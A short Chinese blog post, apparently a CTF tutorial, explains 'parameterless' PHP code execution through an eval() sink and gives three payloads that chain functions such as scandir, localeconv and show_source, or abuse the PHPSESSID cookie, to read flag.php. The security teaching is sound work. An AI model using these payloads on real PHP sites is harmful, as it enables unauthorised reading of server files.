无参数的命令执行

无参数的命令执行

应用场景,当可以进行命令执行的时候,如有eval()函数的时候但是对参数有过多限制就可以使用无参数的命令执行
show_source(next(array_reverse(scandir(pos(localeconv())))));

对函数进行讲解

scandir('.')这个函数的作用是扫描当前目录
localeconv()函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
pos()/current()函数返回数组第一个值
array_reverse()是将数组颠倒
next()将数组指针一项下一位
show_source()的意思是读取函数内容

print_r(scandir(pos(localeconv())))

对函数进行总结

//数组操作函数:

end():数组指针指向最后一位
next(): 数组指针指向下一位
array_reverse(): 将数组颠倒
array_rand(): 随机返回数组的键名
array_flip():交换数组的键和值

读取文件函数

file_get_content() :因为et被ban,所以不能使用
readfile()
highlight_file()
show_source()

三种读取flag文件的技巧

方法一

使用使上述文件数组反转后取next位即flag.php。然后读取文件
构造exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

方法二

同上述方法,但方法一有局限性,只能得到数组的第二位或者倒数第二位。其他情况可以使用随机返回键名的方法(刷新几次就可以得到)
exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));

方法三

session_start(): 告诉PHP使用session;
session_id(): 获取到当前的session_id值;
手动设置cookie中PHPSESSID=flag.php;

所以可以构造exp=show_source(session_id(session_start()));

posted @ 2021-11-01 14:57  无据  阅读(355)  评论(0编辑  收藏  举报